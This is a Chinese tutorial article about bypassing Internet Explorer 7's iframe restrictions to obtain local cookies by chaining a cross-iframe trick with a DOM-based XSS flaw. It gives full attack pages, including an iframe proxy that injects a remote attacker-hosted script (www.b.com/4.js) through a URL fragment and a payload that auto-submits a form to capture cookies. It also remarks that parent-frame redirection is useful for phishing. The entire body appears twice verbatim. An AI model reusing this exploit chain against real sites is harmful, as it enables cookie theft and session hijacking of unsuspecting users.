教你如何突破IE安全限制獲取iframe子框架內(nèi)的本地cookie(圖)
發(fā)布日期:2021-12-16 13:21 | 文章來源:源碼之家
我的測試環(huán)境是: IE 7 (7.0.5730.13)
以下所有的內(nèi)容全部經(jīng)過我在IE7中測試,是真實有效的結(jié)果。
Iframe的限制:
因為iframe這個玩意比較特殊,所以瀏覽器對它一般都有一些限制。
首先父窗口不能控制子窗口的js,只能讀取一些對象;子窗口也不能使用父窗口的js,也只能讀部分對象,更多的比如document啥的都限制了。
關(guān)系如下:
- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location
對于有些利用子窗口執(zhí)行父窗口js的方法是限制的
比如,在子窗口里可以這么使用:
parent.location.href="http://www.sohu.com";
上面的語句將把父窗口重新定義到sohu的網(wǎng)站去.
但是如果想執(zhí)行js,或者是讀取document對象,則會被拒絕訪問
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");
像這兩條都會被拒絕。
對于iframe,F(xiàn)irefox3 居然是不限制本地cookie發(fā)送的!也就是說,在Firefox環(huán)境里,使用iframe包含一個遠程頁面,是會將保存在本地的cookie發(fā)送出去的,這使得CSRF會非常之方便。
但是IE不同,對于IE環(huán)境中,img和iframe標(biāo)簽都只能發(fā)送session cookie,無法發(fā)送本地cookie,所以很多時候CSRF會失敗,這也會給XSS帶來很大的麻煩,比如會使得XSRF更困難一些。
鑒于Firefox一點挑戰(zhàn)都沒有,所以今天主要研究的對象是IE。
在IE環(huán)境下,程序員們一般都是使用P3P協(xié)議來獲取跨域cookie的,但是P3P也要求我們改寫HTTP頭,更麻煩,在這里,我純粹使用一些腳本的技巧來突破這些限制。
突破IFRAME限制的思路:(以下都是在IE環(huán)境中)
由于頁面里的iframe都是發(fā)送的session cookie,所以子框架頁面里本身是只有一個session cookie的,我們無法通過在子框架里執(zhí)行js的方法來獲取本地cookie,無中生有的事情是干不出來的。
了解這一原理后,思路就很明確了:想辦法新起一個不受限制的窗口,從而獲取本地cookie。
具體來說,有這么兩個辦法:
1、 使用window.open打開一個新窗口
2、 回到父窗口,讓其打開一個新窗口
在子框架中,使用window.open()確實可以發(fā)送本地cookie,但是問題是瀏覽器一般會限制頁面彈窗口,會被攔截,所以這個方法比較囧~~,不是個好辦法。
而第二個辦法,回到父窗口去打開新窗口,就涉及到一個突破iframe執(zhí)行腳本的問題,而這個問題在我的前一篇Cross Iframe Trick 里已經(jīng)解決了,所以我們的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制獲取子框架cookie:
Cross Iframe的最大貢獻就在于他可以繞過前面提到的iframe的限制,在父域或者子框架里獲取對象,執(zhí)行腳本。
當(dāng)一個頁面很難突破時,如果他包含了一個存在弱點的iframe頁面,則可能會帶來災(zāi)難性的結(jié)果。
我相信真正精通腳本攻擊的人是能夠看到它的用處和優(yōu)勢的。
環(huán)境如下:(綁定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我們要攻擊的頁面,它包含了一個存在弱點的iframe,用戶只會去瀏覽這個頁面
http://www.baidu.com/3.html 是我們已經(jīng)控制的頁面,他作為一個iframe被1.html所包含。在這里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一個存在XSS漏洞的頁面,一般情況下用戶不會去訪問它!
http://www.b.com/4.js 這是攻擊者自己的服務(wù)器上的一個惡意腳本,將被XSS攻擊遠程載入4.html中。
由于用戶只會瀏覽www.a.com/1.html,所以我們要通過腳本攻擊,從www.a.com/1.html里獲取用戶在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代碼如下:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
// 函數(shù)tt1 ,在最后將被4.html注入?yún)?shù)
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("<input id=\"bbb\" value=\'test1" fvck "\' >");
}
</script>
<body>
<iframe id="tt2_3" src="http://www.baidu.com/3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聰明的分割線 -------------------------------------------
它包含了一個iframe頁面
www.baidu.com/3.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>
<body>
<script>
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie=" document.cookie);
// iframe proxy: 創(chuàng)建一個動態(tài)iframe,并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' ><script src=\"http://www.b.com/4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>
</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------
3.html是我們的iframe proxy,利用它來完成在www.a.com里執(zhí)行腳本的工作。
www.a.com/4.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>
<script>
// 一個基于DOM的XSS漏洞
document.write("<input id=\"aaa\" value=\'test4" window.location.href "\' >");
//window.open("http://www.baidu.com/4.html"); 會帶上cookie
</script>
<body>
This is 4.html!
<!-- 把這里的注釋去掉可以用來測試,這樣發(fā)送的還是session cookie!
<form id="form1" method="post" action="http://www.baidu.com/2.html" >
<img src="/Article/UploadFiles/200809/20080902083122466.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------
www.b.com/4.js 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://www.baidu.com/2.html\" ><img src=\"/Article/UploadFiles/200809/20080902083122466.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');
---------------------------------- 我是聰明的分割線 -------------------------------------------
4.js才是我們真正利用XSS漏洞和Cross Iframe Trick來新起一個窗口,從而獲取本地cookie的方法。
www.baidu.com/2.html的代碼很簡單,他的作用是查看當(dāng)前的cookie:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
alert("2.html cookie=" document.cookie);
</script>
---------------------------------- 我是聰明的分割線 -------------------------------------------
在這里攻擊流程是這樣的:
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----動態(tài)iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中遠程加載www.b.com/4.js
以下所有的內(nèi)容全部經(jīng)過我在IE7中測試,是真實有效的結(jié)果。
Iframe的限制:
因為iframe這個玩意比較特殊,所以瀏覽器對它一般都有一些限制。
首先父窗口不能控制子窗口的js,只能讀取一些對象;子窗口也不能使用父窗口的js,也只能讀部分對象,更多的比如document啥的都限制了。
關(guān)系如下:
- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location
對于有些利用子窗口執(zhí)行父窗口js的方法是限制的
比如,在子窗口里可以這么使用:
parent.location.href="http://www.sohu.com";
上面的語句將把父窗口重新定義到sohu的網(wǎng)站去.
但是如果想執(zhí)行js,或者是讀取document對象,則會被拒絕訪問
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");
像這兩條都會被拒絕。
對于iframe,F(xiàn)irefox3 居然是不限制本地cookie發(fā)送的!也就是說,在Firefox環(huán)境里,使用iframe包含一個遠程頁面,是會將保存在本地的cookie發(fā)送出去的,這使得CSRF會非常之方便。
但是IE不同,對于IE環(huán)境中,img和iframe標(biāo)簽都只能發(fā)送session cookie,無法發(fā)送本地cookie,所以很多時候CSRF會失敗,這也會給XSS帶來很大的麻煩,比如會使得XSRF更困難一些。
鑒于Firefox一點挑戰(zhàn)都沒有,所以今天主要研究的對象是IE。
在IE環(huán)境下,程序員們一般都是使用P3P協(xié)議來獲取跨域cookie的,但是P3P也要求我們改寫HTTP頭,更麻煩,在這里,我純粹使用一些腳本的技巧來突破這些限制。
突破IFRAME限制的思路:(以下都是在IE環(huán)境中)
由于頁面里的iframe都是發(fā)送的session cookie,所以子框架頁面里本身是只有一個session cookie的,我們無法通過在子框架里執(zhí)行js的方法來獲取本地cookie,無中生有的事情是干不出來的。
了解這一原理后,思路就很明確了:想辦法新起一個不受限制的窗口,從而獲取本地cookie。
具體來說,有這么兩個辦法:
1、 使用window.open打開一個新窗口
2、 回到父窗口,讓其打開一個新窗口
在子框架中,使用window.open()確實可以發(fā)送本地cookie,但是問題是瀏覽器一般會限制頁面彈窗口,會被攔截,所以這個方法比較囧~~,不是個好辦法。
而第二個辦法,回到父窗口去打開新窗口,就涉及到一個突破iframe執(zhí)行腳本的問題,而這個問題在我的前一篇Cross Iframe Trick 里已經(jīng)解決了,所以我們的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制獲取子框架cookie:
Cross Iframe的最大貢獻就在于他可以繞過前面提到的iframe的限制,在父域或者子框架里獲取對象,執(zhí)行腳本。
當(dāng)一個頁面很難突破時,如果他包含了一個存在弱點的iframe頁面,則可能會帶來災(zāi)難性的結(jié)果。
我相信真正精通腳本攻擊的人是能夠看到它的用處和優(yōu)勢的。
環(huán)境如下:(綁定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我們要攻擊的頁面,它包含了一個存在弱點的iframe,用戶只會去瀏覽這個頁面
http://www.baidu.com/3.html 是我們已經(jīng)控制的頁面,他作為一個iframe被1.html所包含。在這里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一個存在XSS漏洞的頁面,一般情況下用戶不會去訪問它!
http://www.b.com/4.js 這是攻擊者自己的服務(wù)器上的一個惡意腳本,將被XSS攻擊遠程載入4.html中。
由于用戶只會瀏覽www.a.com/1.html,所以我們要通過腳本攻擊,從www.a.com/1.html里獲取用戶在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代碼如下:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
// 函數(shù)tt1 ,在最后將被4.html注入?yún)?shù)
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("<input id=\"bbb\" value=\'test1" fvck "\' >");
}
</script>
<body>
<iframe id="tt2_3" src="http://www.baidu.com/3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聰明的分割線 -------------------------------------------
它包含了一個iframe頁面
www.baidu.com/3.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>
<body>
<script>
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie=" document.cookie);
// iframe proxy: 創(chuàng)建一個動態(tài)iframe,并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' ><script src=\"http://www.b.com/4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>
</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------
3.html是我們的iframe proxy,利用它來完成在www.a.com里執(zhí)行腳本的工作。
www.a.com/4.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>
<script>
// 一個基于DOM的XSS漏洞
document.write("<input id=\"aaa\" value=\'test4" window.location.href "\' >");
//window.open("http://www.baidu.com/4.html"); 會帶上cookie
</script>
<body>
This is 4.html!
<!-- 把這里的注釋去掉可以用來測試,這樣發(fā)送的還是session cookie!
<form id="form1" method="post" action="http://www.baidu.com/2.html" >
<img src="/Article/UploadFiles/200809/20080902083122466.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------
www.b.com/4.js 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://www.baidu.com/2.html\" ><img src=\"/Article/UploadFiles/200809/20080902083122466.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');
---------------------------------- 我是聰明的分割線 -------------------------------------------
4.js才是我們真正利用XSS漏洞和Cross Iframe Trick來新起一個窗口,從而獲取本地cookie的方法。
www.baidu.com/2.html的代碼很簡單,他的作用是查看當(dāng)前的cookie:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
alert("2.html cookie=" document.cookie);
</script>
---------------------------------- 我是聰明的分割線 -------------------------------------------
在這里攻擊流程是這樣的:
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----動態(tài)iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中遠程加載www.b.com/4.js
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
下一篇: